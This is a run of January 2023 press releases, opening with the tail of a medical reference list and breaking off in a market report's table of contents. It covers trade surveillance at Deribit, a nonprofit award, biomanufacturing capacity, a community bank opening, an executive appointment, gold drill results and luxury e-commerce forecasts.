5 Vanhoy MA, Horigan A, Kaiser J, et al. Emergency Nurses Association (ENA). Clinical practice guideline: prevention of blood culture contamination. 2020.

6 Gorski LA, Hadaway L, Hagle ME, et al. Infusion therapy standards of practice, 8th edition. J Infus Nurs. 2021 Jan-Feb 01;44(1S Suppl 1): S1-S224.doi: 10.1097/NAN.0000000000000396.

7 Date on file.

8 Nielsen LE, Nguyen K, Wahl CK, et al. Initial Specimen Diversion Device reduces blood culture contamination and vancomycin use in academic medical center. J Hosp Infect. 2021;117. doi:https://doi.org/10.1016/j.jhin.2021.10.017.

9 Tompkins LS, Tien V, Madison AN. Getting to zero: impact of a device to reduce blood culture contamination and false-positive central line-associated blood stream infections. Infect Control Hosp Epidemiol. 2022;1-5. doi:10.1017/ice.2022.284.

SOURCE Magnolia Medical Technologies
LONDON and AMSTERDAM, Jan. 24, 2023 /PRNewswire/ -- Eventus , a leading global provider of multi-asset class trade surveillance and market risk solutions, announced today that cryptocurrency derivatives exchange Deribit has selected the firm's Validus platform to provide market abuse monitoring on the exchange.

Headquartered in Panama City, Panama, Deribit is the world's largest cryptocurrency options exchange by volume and open interest, with approximately 90% market share in Bitcoin and Ether options. The exchange also offers select futures on cryptocurrencies.

Deribit Chief Legal, Compliance & Regulatory Officer David Dohmen said the exchange considered several trade surveillance systems in anticipation of operating under the Virtual Assets Regulatory Authority in Dubai and as Deribit looked to expand into additional jurisdictions while maintaining the highest compliance standards.

He said: "Once I joined Deribit and our search for a surveillance vendor was underway, I was able to share that Eventus' customer service is excellent. I've looked at and worked with a variety of trade surveillance systems, including Validus in two of my former roles since 2019. I was most impressed with the dedication and diligence of the Eventus team to continuously work with its clients to help improve how the system can meet our needs and resolve any issues we encounter along the way. They care about getting things done; it's not just about the numbers."

Additional factors in Deribit's selection of Eventus, Dohmen said, were the firm's extensive experience with digital asset exchanges and competitive pricing, along with the fact that Validus is intuitive and easy to use. Deribit will begin using Validus this quarter.

Eventus CEO Travis Schwab said: "We're delighted to help Deribit achieve heightened surveillance capabilities. As the exchange continues to grow and expand its business to new regulatory jurisdictions, our Validus platform provides the scalable, agile solution the compliance team will need as its volumes increase and regulatory requirements become more complex."

About Eventus

Eventus is a leading global provider of multi-asset class trade surveillance and market risk solutions. Its powerful, award-winning Validus platform is easy to deploy, customize and operate across equities, options, futures, foreign exchange (FX), fixed income and digital asset markets. Validus is proven in the most complex, high-volume and real-time environments of tier-1 banks, broker-dealers, futures commission merchants (FCMs), proprietary trading groups, market centers, buy-side institutions, energy and commodity trading firms, and regulators. The company's rapidly growing client base relies on Validus and Eventus' responsive support and product development teams to overcome its most pressing regulatory challenges. For more, visit www.eventus.com .

[Editor's Note: Deribit is not available in the United States or other restricted countries.]

SOURCE Eventus
PRINCETON, N.J., Jan. 24, 2023 /PRNewswire/ -- Learning Ally, a national nonprofit partnering with educators to solve the literacy crisis, has won the 2023 CMX Community Industry Award for Best Growth Marketing Community for its thriving Educator Community.

The CMX Community Industry Awards celebrates the achievements of the best in the community space. This category recognizes exceptional efforts in innovative strategies used to drive growth and engagement among members.

CMX Community Industry Award

Elizabeth Zwerg, Learning Ally's Educator Community Manager, was a finalist for "Best Executive Leader" for her work building an internal, employee-driven "Sunshine Committee" that empowers champions for the Educator Community. This internal group drives collaboration, engagement, and fosters a sense of community for Learning Ally's mission to close the literacy gap.

"The Sunshine Committee is a place of connection. It's where our staff forges lasting connections with educators who are the agents of change. At Learning Ally, we live our values, and we place a high value on education, literacy and especially educators," says Eleanor Cotton, Learning Ally's Director of Community and Thought Leadership.

Learning Ally's Educator Community connects educators of all titles, roles and responsibilities in a safe and collaborative network where they can share best instructional practices in literacy and recognize the achievements of fellow educators. Now, in its second year, a guiding principle of the Educator Community is that all educators are welcome.

Dr. Terrie Noland, Learning Ally's Vice President of Educator Initiatives, said, "This is an honor for our organization, and for our Community team. Learning Ally's mission is to support educators to be the best they can be so they can improve academic achievement and ensure students reach their full potential. Our Community is an extension of that mission  supporting personal and professional knowledge, encouraging a growth mindset in evidence-based literacy practices, and making new connections."

Members of Learning Ally's Educator Community, now 6,100 educators strong with another 5,300 members on Instagram, are from different towns and cities, from urban and rural schools, and from big and small districts. They come together as one community with an unbreakable bond  to empower each other, educate children, and hone their craft of teaching and leading.

Ms. Zwerg says, "It is exciting to have our efforts acknowledged. Our community is truly an ecosystem with many points of access. Educators draw support from each other and they identify new ways to enhance their instruction. There are communities that focus solely on instructional practices, without acknowledging that teachers are people. Our community is unique because all interactions, content, and framework is developed with the mindset that teachers are the ultimate thought leaders. Meaningful change in education begins with teachers, and our members know we are always in their corner. They become influencers, mentors, dreamers and doers."

In U.S. schools, Learning Ally works with more than 450,000 educators to improve reading outcomes for students who struggle with learning disabilities and reading deficits. The organization's Solutions in PreK-12 are grounded in the science of reading and brain-based learning, with an emphasis on Whole Child Literacy. This teaching philosophy prioritizes the developmental and personal needs of children, in addition to their academic achievement. Whole Child Literacy includes a student's cognitive variables, their environment, and social and emotional factors that impact their ability to learn and succeed.

Ms. Zwerg adds, "Staying true to our non-profit roots, Learning Ally's Educator Community is open to all educators  including those who do not use our products or professional services. By connecting educators from diverse backgrounds and perspectives, we can create a more inclusive and effective education system."

Read this blog about the research behind why teachers need community.

About Learning Ally

Learning Ally is a leading education nonprofit dedicated to equipping educators with proven solutions that help new and struggling learners reach their potential. Our range of literacy-focused offerings for students in Pre-K to 12th grade and catalog of professional learning allows us to support more than two million students across the United States.

Contact: Valerie Chernek

410-960-4060 / [email protected]

SOURCE Learning Ally
CAMPBELL, Calif., Jan. 24, 2023 /PRNewswire/ -- List Labs, a live biotherapeutics-focused contract development manufacturing organization (CDMO), adds 500L equipment to expand its bacterial manufacturing capacity.

List Biological Laboratories, Inc. List Biological Laboratories, Inc.

Based on the increased demand for larger volume manufacturing, List Labs recently added single-use equipment including a Sartorius 500L Stedim bioreactor and a Cytiva AKTA Readyflux XL tangential flow filtration system to their California GMP drug manufacturing facility. The expansion, available now to customers will significantly increase List Labs' unique capabilities in bacterial therapeutic manufacturing capacity appropriate for Phase 1 and 2 clinical trials.

List Labs has successfully demonstrated their ability to grow facultative and strict anaerobes to similar cell densities and protein yields using this equipment. Single-use equipment provides several advantages for manufacturing activities: it eliminates the need for clean-in-place or sterilize-in-place processes that are required for preparation of stainless-steel reactors. Single-use equipment also reduces bioreactor turn-around time by improving the speed of manufacturing activities. Current validated cleaning protocols ensure the risk of cross-contamination is very small, but single-use equipment further reduces the risk, offering flexibility to clients who prefer to have their therapeutics manufactured in single-use equipment.

Gary Henderson, Director of Business Development commented: "We are thrilled to be able to continue to support our customers with larger manufacturing capacity for their clinical supply."

List Labs is leveraging 40+ years of experience and extensive expertise handling and cultivating aerobic, anaerobic, and spore-forming bacteria to advance bacterial therapeutics. List Labs is a premier CDMO for development and manufacturing of bacterial-derived therapeutics. Headquartered in Campbell, CA, the site has seven ISO7 and ISO8 rated manufacturing suites providing containment and segregation of product campaigns. Our services include world class expertise in bacterial fermentation, lyophilization, protein purification, process development, analytical development, scale up, QC testing, and development of robust cGMP manufacturing processes for products used in clinical trials.

For more information, please visit our website http://www.listlabs.com or contact Gary Henderson, Director of Business Development at [email protected].

Media Contact:

Shawn Lyles

408-866-6363

[email protected]

SOURCE List Biological Laboratories, Inc.
FORT LAUDERDALE, Fla., Jan. 24, 2023 /PRNewswire/ -- Locality Bank , the first community bank to open in South Florida in more than 10 years, has opened its 2,500 square-foot Fort Lauderdale headquarters (1400 South Andrews Avenue). A ribbon cutting ceremony is planned for February 9, 2023.

Located in the South Andrews Avenue corridor of Fort Lauderdale, Florida, the newly renovated free-standing building was designed with the intrigue of Fort Lauderdale's growing small business environment in mind. The space has a co-working feel with multiple break out rooms for clients to utilize.

"With increased year over year growth from local businesses and entrepreneurs, there was no better place to open a community bank," said Corey LeBlanc, Locality Bank Co-Founder and COO/CTO. "We have built our headquarters like our bank- it's agile, more efficient, and can keep up with the ever-changing, forward-thinking needs of our clients."

For the past two years, the digital-first community bank has been operating out of Fort Lauderdale's General Provision co-working space. There, co-founders Keith Costello, Corey LeBlanc and Drew Saito developed a successful business model, registered the bank with FDIC, raised $38 million in capital, met with investors, and officially launched Locality Bank. With more than 28 banking professionals on staff, General Provision, located at 300 SW 1st Ave., Suite 155, in Fort Lauderdale, will continue to serve as a satellite branch for Locality Bank.

"Our goal is to fulfill the financial needs of local businesses and entrepreneurs, empower them to grow and hire more local talent," said Drew Saito, Co-Founder and Chief Lending Officer of Locality Bank. "With really good tech and delivering services in a consultative manner, our commercial banking experts will meet with business owners at their shop or office if needed."

Since launching in January of 2022, Locality Bank has successfully accumulated more than $130 million in bank assets and has provided $65 million in loans to local businesses. Locality Bank's digital-first platform and high-yield accounts, supported by local business finance experts, allow the bank to provide much needed capital to help local businesses grow and maximize their potential.

"In the last five years, more changes have occurred in the banking industry than in my entire banking career," said Keith Costello, CEO of Locality Bank. "A non-traditional bank like this was needed for our South Florida businesses and we are utilizing best in class technology that makes it easy for business owners to bank, apply for loans, and access other services all on the go."

The bank's online platform was custom-built on a secure cloud-native core banking system with an open API architecture that supports its objective for delivering the technological resources and enhanced financial tools that local businesses deserve to have access to.

To stay up to date on Locality Bank's growth, visit their LinkedIn page at linkedin.com/company/locality-bank/.

About Locality Bank

Locality Bank is a digital-first community bank based in Fort Lauderdale, Florida. The bank serves local businesses with the traditional services of a community bank as well as user-friendly, cutting-edge innovation and technology. To learn more, contact Locality Bank by calling (954) 799-0900, visiting https://www.localitybank.com or via email at [email protected]. You can also follow Locality Bank on Facebook, Twitter, LinkedIn, and Instagram.

CONTACT: Aimee Adler 561-302-6902 or [email protected]

SOURCE Locality Bank
Industry and company veteran to lead teams responsible for fulfillment of loans

NEW ALBANY, Ohio, Jan. 24, 2023 /PRNewswire/ -- Lower, the multi-channel fintech aimed at creating wealth through homeownership, announced today the appointment of Julia M. Brown as Senior Vice President of Operations. In this role, Brown will be responsible for overseeing all functions related to corporate mortgage operations, employee training and corporate development, as well as information technology and lines of business application support.

In this role, Brown will focus on overall business strategy and opportunities to drive improved efficiency, quality, and culture, while simultaneously reducing costs. Currently the Vice President of Corporate Development, she has been an integral part of the organization since joining Lower in 2014. Brown has more than a decade of experience in the housing industry and prior to joining the company, she worked in the non-profit space and for United Wholesale Mortgage and Quicken Loans (now Rocket Mortgage).

"This year, we will emerge stronger, smarter, and better aligned with our strategic needs than ever before." Tweet this

"We're fortunate to have a leader of Julia's caliber already within our team. She has the institutional knowledge and tenacity to improve upon our support teams' elite operations," said Dan Snyder, cofounder and CEO. "She has proven herself time and time again in each new role she's taken on, and this will be her biggest chance yet to transform our company and help our team reach more customers."

Over the last few years, Lower experienced a period of incredible growth, followed by a rapid market-based contraction. Despite these unprecedented conditions, the company has grown in market share and continues to explore opportunities to make the dream of homeownership a reality for as many Americans as possible.

"Last year was a difficult one for our industry, and as we turn the page into 2023, there are sure to be additional challenges," said Brown. "But this year, we will emerge stronger, smarter, and better aligned with our strategic needs than ever before. I believe in our highly talented team, my peers, and our ownership to make homeownership a reality for more Americans than ever before. Their support allows me to focus on leading my teams through these difficult times and into the next resurgence with great tenacity and skill."

Follow the company's journey on LinkedIn at LWR  The Lower Family of Companies.

About Lower

Lower's multi-channel fintech platform helps consumers build wealth through homeownership, no matter where they are in their life's journey. The company's products for mortgage, banking, insurance, and real estate provide customers with an intuitive ecosystem to simplify their homeownership goals, whether it's their first home or their last. Lower is a national and local best place to work, and the naming rights partner of Lower.com Field, home of the Columbus Crew.

SOURCE Lower
Cuyes West Drilling Highlights:

CU22-12  2.5 metres grading 18.54 g/t Au Eq

CU22-13  36.0 metres grading 2.29 g/t Au Eq

CU22-14  4.0 metres grading 19.35 g/t Au Eq; including 2.0 metres grading 36.59 g/t Au Eq

CU22-15  17.5 metres grading 3.07 g/t Au Eq

VANCOUVER, BC, Jan. 24, 2023 /PRNewswire/ - Luminex Resources Corp. (TSXV: LR) (OTCQX: LUMIF) (the "Company" or "Luminex") is pleased to announce drill results from six holes (CU22-10 to CU22-15) at Cuyes West. Drilling has confirmed a strike length of approximately 350 metres, while the anomaly has been mapped at surface for more than 500 metres. The drilled vertical extent of the Cuyes West mineralized structure now exceeds 300 metres. All holes have now been reported from the 2022 program, except for CU22-16 and CU22-17 (completed in January). Drilling at Cuyes West is continuing with one rig; a second rig is on standby to drill Prometedor as soon as trail and pad construction are complete. Drilling of Prometedor is expected to start by March.

Figure 1. Plan map showing location of the Camp, Cuyes, and Cuyes West deposits. (CNW Group/Luminex Resources Corp.) Figure 2. Vertical long section showing pierce points of the primary intercept in the Cuyes West structure, coloured by gold grade x thickness, where results are available. (CNW Group/Luminex Resources Corp.)

Marshall Koval, CEO and Director commented: "The continued positive results at Cuyes West are putting Luminex on a path to having two sources of underground material at Condor North. Adding a Cuyes West underground resource in addition to the existing Camp underground resource will be crucial for Luminex's plan to start with a smaller throughput mill, with lower initial capital than what was planned in the 2021 Preliminary Economic Assessment."

Hole CU22-12 intersected 2.5 metres from 323 metres grading 16.28 g/t gold and 188.1 g/t silver (18.54 g/t Au Eq). This hole stepped out approximately 50 metres vertically below hole CU22-05, which intersected 5.0 metres of 29.43g/t gold and 86.5g/t silver (30.47g/t Au Eq), indicating continued high-grade mineralization at depth.

Hole CU22-14 intersected multiple high-grade structures, notably 4.0 metres from 216 metres down hole of 18.91 g/t gold and 36.6 g/t silver (19.35 g/t Au Eq), including 2.0 metres of 35.8 g/t gold and 65.7 g/t silver (36.59 g/t Au Eq). The Cuyes West structure was intersected at 275 metres over 16 metres grading 3.04 g/t gold and 12.5 g/t silver (3.19 g/t Au Eq).

Hole CU22-15, stepped out approximately 60 metres east of CU22-13 and approximately 80 metres below hole CU22-02. It intersected 17.5 metres from 240.5 metres grading 3.00 g/t gold, 6.1 g/t silver (3.07 g/t Au Eq). Other intervals are present in parallel structures that are not presented as pierce points in Figure 2 but are detailed in Table 1.

At Cuyes West, rhyolite dike contacts and high angle faults are mineralized. The mineralization extends into wall rock, occurring as pyrite, sphalerite, marcasite and rhodochrosite veins and as disseminations. This style of mineralization is identical to that at the Camp deposit, 300m to the southwest, and these deposits may connect at depth. At a property scale, the mineralized structures and dikes are interpreted to be "ring-fractures" around the Los Cuyes Diatreme (See Figure 1).

Table 1. Drill intercepts for Cuyes West drill holes. Asterisked intervals are shallower and belong to the diatreme at Los Cuyes (see note below).

Hole Azimuth / Dip / Length From (m) To (m) Interval (m) Au (g/t) Ag (g/t) Au Eq (g/t) CU22-10 300 / -36 / 424.65m 67.0 82.0 15.0* 1.55 8.7 1.65 Incl 67.0 68.0 1.0 14.95 59.9 15.67 And 156.0 186.0 30.0* 0.41 9.9 0.52















CU22-11 343 / -42 / 300.00m 8.0 36.0 28.0* 0.88 9.2 0.99 Incl 31.0 32.0 1.0 11.05 81.4 12.03 And 54.0 66.0 12.0* 0.52 4.4 0.57 And 114.0 124.0 10.0* 0.36 3.3 0.40 And 172.0 173.0 1.0 2.09 25.2 2.39















CU22-12 328 / -57 / 349.65m 36.0 45.0 9.0* 0.22 1.7 0.24 And 66.0 70.0 4.0* 0.20 20.3 0.44 And 136.7 146.0 9.3* 0.57 8.0 0.67 And 323.0 325.5 2.5 16.3 188.1 18.54















CU22-13 342 / -45 / 352.30m 4.0 32.0 28.0* 0.66 1.9 0.68 And 59.0 127.0 68.0* 0.34 2.1 0.36 And 141.0 175.0 34.0* 0.25 3.2 0.28 And 225.2 238.0 12.8 2.01 13.9 2.18 Incl 225.2 229.0 3.8 3.90 28.8 4.24 And 245.0 281.0 36.0 2.17 10.4 2.29 Incl 267.0 273.0 6.0 4.01 10.9 4.14 And 292.0 308.0 16.0 2.03 16.7 2.23















CU22-14 345 / -45 / 389.50m 27.0 35.0 8.0* 0.26 1.8 0.28 And 48.0 73.0 25.0* 0.24 2.3 0.27 And 89.0 190.0 101.0* 0.67 7.3 0.76 And 216.0 220.0 4.0 18.91 36.6 19.35 Incl 217.0 219.0 2.0 35.80 65.7 36.59 And 257.0 258.0 1.0 4.46 12.3 4.61 And 267.0 269.0 2.0 1.09 3.8 1.13 And 275.0 291.0 16.0 3.04 12.5 3.19 And 312.0 314.0 2.0 1.74 4.8 1.79 And 354.0 358.0 4.0 3.32 117.2 4.72















CU22-15 345 / -26 / 379.50m 30.0 62.0 32.0* 0.77 1.2 0.79 And 125.8 177.0 51.2* 0.43 3.6 0.47 And 197.0 213.0 16.0* 0.41 4.3 0.46 And 222.0 223.0 1.0 8.92 29.7 9.28 And 240.5 258.0 17.5 3.00 6.1 3.07 And 305.0 306.0 1.0 1.22 21.2 1.47 And 314.0 315.0 1.0 7.61 35.3 8.03 And 325.0 328.0 3.0 2.92 24.2 3.21

Asterisked (*) intervals are "Shallower" intervals calculated using a lower limit of 0.20 g/t Au with a maximum inclusion of ten continuous metres below cut-off occurring within the stated intercept and the highest gold value used in the reported weighted averages is 14.95 g/t Au. Remaining intervals not marked with an asterisk are for "Deeper" intervals calculated using a lower limit of 1.0 g/t Au with a maximum inclusion of up to six continuous metres below cut-off and the highest gold value used in the reported weighted averages is 35.80 g/t Au. Au Eq values assume $1,500 gold and $18.00 silver (Au Eq= Au g/t + (Ag g/t *0.012)). There is insufficient geological data to calculate true thickness for the intervals reported in this table.



Quality Assurance

All Luminex sample assay results have been independently monitored through a quality control / quality assurance ("QA/QC") protocol which includes the insertion of blind standards, blanks as well as pulp and reject duplicate samples. Logging and sampling are completed at Luminex's core handling facility located at the Condor property. Drill core is diamond sawn on site and half drill-core samples are securely transported to ALS Laboratories' ("ALS") sample preparation facility in Quito, Ecuador. Sample pulps are sent to ALS's lab in Lima, Peru for analysis where gold content is determined by fire assay of a 50-gram charge with ICP finish. Silver and other elements are also determined by ICP methods. Over-limit samples assaying greater than 10 g/t gold and 100 g/t silver are re-analyzed by ALS using fire assay with a gravimetric finish. Luminex is not aware of any drilling, sampling, recovery, or other factors that could materially affect the accuracy or reliability of the data referred to herein. ALS Laboratories is independent of Luminex.

Qualified Persons

Leo Hathaway, P. Geo, Senior Vice President Exploration of Luminex and the Qualified Person as defined by National Instrument 43-101 Standards of Disclosure for Mineral Projects, has reviewed, verified and approved the scientific and technical information concerning the Condor Project in this news release and has verified the data underlying that scientific and technical information.

About Luminex Resources

Luminex Resources Corp. (TSXV:LR) (OTCQX:LUMIF) is a Vancouver, Canada based precious and base metals exploration and development company focused on gold and copper projects in Ecuador. Luminex's inferred and indicated mineral resources are located at the Condor Gold-Copper project in Zamora-Chinchipe Province, southeast Ecuador. Luminex also holds a large and highly prospective land package in Ecuador, including the Pegasus and Orquideas projects, which are being co-developed with Anglo American and JOGMEC respectively.

Further details are available on the Company's website at https://luminexresources.com/.

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LUMINEX RESOURCES CORP.

Signed: "Marshall Koval"

Marshall Koval, CEO and Director

Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this news release.

Cautionary Note Regarding Forward-Looking Information

Certain statements and information herein, including all statements that are not historical facts, contain forward-looking statements and forward-looking information within the meaning of applicable securities laws. Such forward-looking statements or information include, but are not limited to, statements regarding future drilling and work programs at Condor. Often, but not always, forward-looking statements or information can be identified by the use of phrases or statements that certain actions, events or results "will" occur or be achieved.

With respect to forward-looking statements and information contained herein, the Company has made numerous assumptions including among other things, assumptions about general business and economic conditions, the prices of gold and copper, and anticipated costs and expenditures. The foregoing list of assumptions is not exhaustive.

Although management of the Company believes that the assumptions made and the expectations represented by such statements or information are reasonable, there can be no assurance that a forward-looking statement or information herein will prove to be accurate. Forward-looking statements and information by their nature are based on assumptions and involve known and unknown risks, uncertainties and other factors which may cause the Company's actual results, performance or achievements, or industry results, to be materially different from any future results, performance or achievements expressed or implied by such forward-looking statements or information. These factors include, but are not limited to: risks associated with the business of the Company; business and economic conditions in the mining industry generally; the supply and demand for labour and other project inputs; changes in commodity prices; changes in interest and currency exchange rates; risks relating to inaccurate geological and engineering assumptions (including with respect to the tonnage, grade and recoverability of reserves and resources); risks relating to unanticipated operational difficulties (including failure of equipment or processes to operate in accordance with specifications or expectations, cost escalation, unavailability of materials and equipment, government action or delays in the receipt of government approvals, industrial disturbances or other job action, and unanticipated events related to health, safety and environmental matters); risks relating to adverse weather conditions; political risk and social unrest; changes in general economic conditions or conditions in the financial markets; changes in laws (including regulations respecting mining concessions); and other risk factors as detailed from time to time in the Company's continuous disclosure documents filed with Canadian securities administrators. The Company does not undertake to update any forward-looking information, except in accordance with applicable securities laws.

SOURCE Luminex Resources Corp.
NEW YORK, Jan. 23, 2023 /PRNewswire/ -- According to Technavio, the global luxury e-tailing market size is estimated to grow by USD 27,533.22 million from 2023 to 2027. The market is estimated to grow at a CAGR of over 8.44% during the forecast period. Moreover, the growth momentum will accelerate. APAC will account for 49% of the growth of the global market during the forecast period.

For more Insights on market size Request a sample report

Technavio has announced its latest market research report titled Global Luxury E-tailing Market 2023-2027

Global luxury e-tailing market - Five forces

The global luxury e-tailing market is fragmented, and the five forces analysis covers

Bargaining Power of Buyers

The threat of New Entrants

Threat of Rivalry

Bargaining Power of Suppliers

Threat of Substitutes

Interpretation of porter's five models helps to strategize the business, for entire details  buy the report!

Global luxury e-tailing market  Customer landscape

The report includes the market's adoption lifecycle, from the innovator's stage to the laggard's stage. It focuses on adoption rates in different regions based on penetration. Furthermore, the report also includes key purchase criteria and drivers of price sensitivity to help companies evaluate and develop their growth strategies.

Global luxury e-tailing market - Segmentation assessment

Segment overview

Technavio has segmented the market based on product (personal luxury, food and wine, and home accessories) and channel (multi-brand and mono-brand).

The personal luxury segment will grow at a significant rate during the forecast period. The preference for online shopping is increasing, with the growing Internet penetration rate and the increasing number of smartphone users worldwide. A wide range of premium personal goods are available online in various categories, price ranges, and brands. Major manufacturers of personal goods such as cosmetics are expanding their professional skincare e-retail businesses to gain a competitive advantage over Internet-only retailers. They are building their own web portals and creating partnerships with other distributors to sell professional skincare products online. For instance, Beiersdorf AG has its online presence in China in partnership with NetEase Kaola. Such partnerships can help increase the online sales of luxury personal goods during the forecast period.

Geography Overview

By geography, the global luxury e-tailing market is segmented into APAC, North America, Europe, Middle East and Africa, and South America. The report provides actionable insights and estimates the contribution of all regions to the growth of the global luxury e-tailing market.

APAC is estimated to account for 49% of the growth of the global market during the forecast period. The growth of the market in APAC is driven by factors such as the growth of the real estate sector for residential and commercial properties. Japan , China , and South Korea are the key revenue contributors. In addition, wide product portfolios and the launch of new and innovative products will also fuel the market growth during the forecast period. The growing Internet penetration is also expected to drive the online sales of luxury products in APAC.

Download a Sample Report

Global Luxury E-tailing Market  Market Dynamics

Key factor driving market growth

The rise in online spending and smartphone penetration is notably driving the luxury e-tailing market growth.

The popularity of online shopping through smart devices increased over the years due to the high penetration of Internet services, improved economic growth, and the fluid interfaces of mobile applications.

Security features of online payments, free delivery, improved online services, and the customer-friendly designs of shopping websites are also contributing to the growth of the market.

Moreover, the focus on m-commerce has increased, with the penetration of smartphones and the generation of more opportunities for buyers. These factors will fuel the growth of the market during the forecast period.

Leading trends influencing the market

Multichannel marketing is a key trend in the luxury e-tailing market. Social media plays a major role in increasing awareness about a product. Consumers use social networking and blogs to learn about premium cosmetics products.

Social media plays a major role in increasing awareness about a product. Consumers use social networking and blogs to learn about premium cosmetics products. Hence, vendors are using platforms such as Facebook, Twitter, Instagram, and YouTube to increase awareness and promote their products.

Many brands partner with social media influencers to increase the popularity of their brands.

Thus, factors such as the increasing penetration of the Internet and smartphones and the growing number of customer-engagement practices by vendors of premium cosmetics have contributed to the overall sales volume and revenue of market vendors over the past few years.

Major challenges hindering market growth

Strict competition from offline channels may impede the luxury e-tailing market growth.

Consumers prefer to buy premium products such as personal care products, wine, spirits, home decor, home furnishings, and furniture from offline stores, as they can examine the products physically before purchasing.

Moreover, many consumers are hesitant to perform high-value transactions online due to cybersecurity concerns.

The offline segment of the global home decor market is influenced by the increasing number of product-specialty stores and brand-specific stores. Thus, offline stores pose a major threat to the global luxury e-tailing market.

Drivers, trends, and challenges have an impact on market dynamics, which can impact businesses. Find more insights in a sample report!

What are the key data covered in this luxury e-tailing market report?

CAGR of the market during the forecast period

Detailed information on factors that will drive the growth of the luxury e-tailing market between 2023 and 2027

Precise estimation of the luxury e-tailing market size and its contribution to the market in focus on the parent market

Accurate predictions about upcoming trends and changes in consumer behavior

Growth of the luxury e-tailing industry across APAC, North America , Europe , Middle East and Africa , and South America

, , and , and A thorough analysis of the market's competitive landscape and detailed information about vendors

Comprehensive analysis of factors that will challenge the growth of luxury e-tailing market vendors

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Related Reports:

The luxury handbags market share is expected to increase by USD 16.90 billion from 2020 to 2025, and the market's growth momentum will accelerate at a CAGR of 5.60%. The design and material innovation leading to product premiumization is notably driving the luxury handbags market growth, although factors such as the presence of counterfeit products may impede the market growth.

The luxury eyewear market share is expected to increase by USD 3.99 billion from 2021 to 2026, and the market's growth momentum will accelerate at a CAGR of 4.52%. The innovation and portfolio extension leading to product premiumization is notably driving the luxury eyewear market growth, although factors such as the threat from counterfeit products may impede the market growth.

Luxury E-tailing Market Scope Report Coverage Details Page number 162 Base year 2022 Historic period 2017-2021 Forecast period 2023-2027 Growth momentum & CAGR Accelerate at a CAGR of 8.44% Market growth 2023-2027 USD 27,533.22 million Market structure Fragmented YoY growth 2022-2023 (%) 7.76 Regional analysis APAC, North America, Europe, Middle East and Africa, and South America Performing market contribution APAC at 49% Key countries US, China, Japan, Italy, and France Competitive landscape Leading Vendors, Market Positioning of Vendors, Competitive Strategies, and Industry Risks Key companies profiled ASOS Plc, Authentic Brands Group LLC, Bed Bath and Beyond Inc., Burberry Group Plc, Charms and Chains, Compagnie Financiere Richemont SA, Crate and Barrel, Harrods Ltd., Hennes and Mauritz AB, Hermes International SA, Hudsons Bay Co., Inter IKEA Systems B.V., Kering SA, Luxuryperfume.com Inc, Moda Operandi Inc., Nordstrom Inc., Ralph Lauren Corp., SDI (Brands 2) Ltd., CHANEL Ltd., and LVMH Moet Hennessy Louis Vuitton SE Market dynamics Parent market analysis, Market growth inducers and obstacles, Fast-growing and slow-growing segment analysis, COVID-19 impact and recovery analysis and future consumer dynamics, and Market condition analysis for the forecast period. Customization purview If our report has not included the data that you are looking for, you can reach out to our analysts and get segments customized.

Table of Contents:

1 Executive Summary

1.1 Market Overview

Exhibit 01: Executive Summary  Chart on Market Overview



Exhibit 02: Executive Summary  Data Table on Market Overview



Exhibit 03: Executive Summary  Chart on Global Market Characteristics



Exhibit 04: Executive Summary  Chart on Market by Geography



Exhibit 05: Executive Summary  Chart on Market Segmentation by Product



Exhibit 06: Executive Summary  Chart on Market Segmentation by Channel



Exhibit 07: Executive Summary  Chart on Incremental Growth



Exhibit 08: Executive Summary  Data Table on Incremental Growth



Exhibit 09: Executive Summary  Chart on Vendor Market Positioning

2 Market Landscape

2.1 Market ecosystem

Exhibit 10: Parent market



Exhibit 11: Market Characteristics

3 Market Sizing

3.1 Market Definition

Exhibit 12: Offerings of vendors included in the market definition

3.2 Market segment analysis

Exhibit 13: Market segments

3.3 Market size 2022

3.4 Market outlook: Forecast for 2022-2027

Exhibit 14: Chart on Global - Market size and forecast 2022-2027 ($ million)



Exhibit 15: Data Table on Global - Market size and forecast 2022-2027 ($ million)



Exhibit 16: Chart on Global Market: Year-over-year growth 2022-2027 (%)



Exhibit 17: Data Table on Global Market: Year-over-year growth 2022-2027 (%)

4 Historic Market Size

4.1 Global luxury E-tailing market 2017 - 2021

Exhibit 18: Historic Market Size  Data Table on Global luxury E-tailing market 2017 - 2021 ($ million)

4.2 Product Segment Analysis 2017 - 2021

Exhibit 19: Historic Market Size  Product Segment 2017 - 2021 ($ million)

4.3 Distribution channel Segment Analysis 2017 - 2021

Exhibit 20: Historic Market Size  Distribution channel Segment 2017 - 2021 ($ million)

4.4 Geography Segment Analysis 2017 - 2021

Exhibit 21: Historic Market Size  Geography Segment 2017 - 2021 ($ million)

4.5 Country Segment Analysis 2017 - 2021

Exhibit 22: Historic Market Size  Country Segment 2017 - 2021 ($ million)

5 Five Forces Analysis

5.1 Five forces summary

Exhibit 23: Five forces analysis - Comparison between 2022 and 2027

5.2 Bargaining power of buyers

Exhibit 24: Chart on Bargaining power of buyers  Impact of key factors 2022 and 2027

5.3 Bargaining power of suppliers

Exhibit 25: Bargaining power of suppliers  Impact of key factors in 2022 and 2027

5.4 Threat of new entrants

Exhibit 26: Threat of new entrants  Impact of key factors in 2022 and 2027

5.5 Threat of substitutes

Exhibit 27: Threat of substitutes  Impact of key factors in 2022 and 2027

5.6 Threat of rivalry

Exhibit 28: Threat of rivalry  Impact of key factors in 2022 and 2027

5.7 Market condition

Exhibit 29: Chart on Market condition - Five forces 2022 and 2027

6 Market Segmentation by Product

6.1 Market segments

Exhibit 30: Chart on Product - Market share 2022-2027 (%)



Exhibit 31: Data Table on Product - Market share 2022-2027 (%)

6.2 Comparison by Product

Exhibit 32: Chart on Comparison by Product



Exhibit 33: Data Table on Comparison by Product

6.3 Personal luxury - Market size and forecast 2022-2027

Exhibit 34: Chart on Personal luxury - Market size and forecast 2022-2027 ($ million)



Exhibit 35: Data Table on Personal luxury - Market size and forecast 2022-2027 ($ million)



Exhibit 36: Chart on Personal luxury - Year-over-year growth 2022-2027 (%)



Exhibit 37: Data Table on Personal luxury - Year-over-year growth 2022-2027 (%)

6.4 Food and wine - Market size and forecast 2022-2027

Exhibit 38: Chart on Food and wine - Market size and forecast 2022-2027 ($ million)



Exhibit 39: Data Table on Food and wine - Market size and forecast 2022-2027 ($ million)



Exhibit 40: Chart on Food and wine - Year-over-year growth 2022-2027 (%)



Exhibit 41: Data Table on Food and wine - Year-over-year growth 2022-2027 (%)

6.5 Home accessories - Market size and forecast 2022-2027

